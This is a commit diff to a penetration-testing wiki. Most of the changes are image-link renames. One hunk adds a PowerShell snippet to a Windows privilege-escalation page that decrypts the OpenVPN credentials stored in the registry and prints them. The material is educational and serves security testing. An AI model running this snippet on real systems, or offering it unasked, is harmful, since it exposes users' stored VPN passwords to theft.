GitBook: [master] 411 pages and 7 assets modified

1911-pentesting-fox.md

@@ -10,7 +10,7 @@ dht udp "DHT Nodes"
 
 ![](.gitbook/assets/image%20%28182%29.png)
 
-![](.gitbook/assets/image%20%28345%29%20%282%29%20%282%29%20%282%29.png)
+![](.gitbook/assets/image%20%28345%29%20%281%29.png)
 
 InfluxDB
 

mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md

@@ -76,7 +76,7 @@ When checking the code of the Content Provider **look** also for **functions** n
 
 ![](../../../.gitbook/assets/image%20%28211%29.png)
 
-![](../../../.gitbook/assets/image%20%28254%29%20%281%29%20%281%29%20%281%29.png)
+![](../../../.gitbook/assets/image%20%28254%29.png)
 
 Because you will be able to call them
 

reversing/cryptographic-algorithms/README.md

@@ -10,7 +10,7 @@ If you ends in a code **using shift rights and lefts, xors and several arithmeti
 
 If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
 
-![](../../.gitbook/assets/image%20%28254%29.png)
+![](../../.gitbook/assets/image%20%28254%29%20%281%29.png)
 
 Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
 

windows/windows-local-privilege-escalation/README.md

@@ -1127,6 +1127,28 @@ Example of web.config with credentials:
 </authentication>
 ```
 
+### OpenVPN credentials
+
+```csharp
+Add-Type -AssemblyName System.Security
+$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
+$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
+
+foreach ($item in $items)
+{
+  $encryptedbytes=$item.'auth-data'
+  $entropy=$item.'entropy'
+  $entropy=$entropy[0..(($entropy.Length)-2)]
+
+  $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
+    $encryptedBytes, 
+    $entropy, 
+    [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
+ 
+  Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
+}
+```
+
 ### Logs
 
 ```bash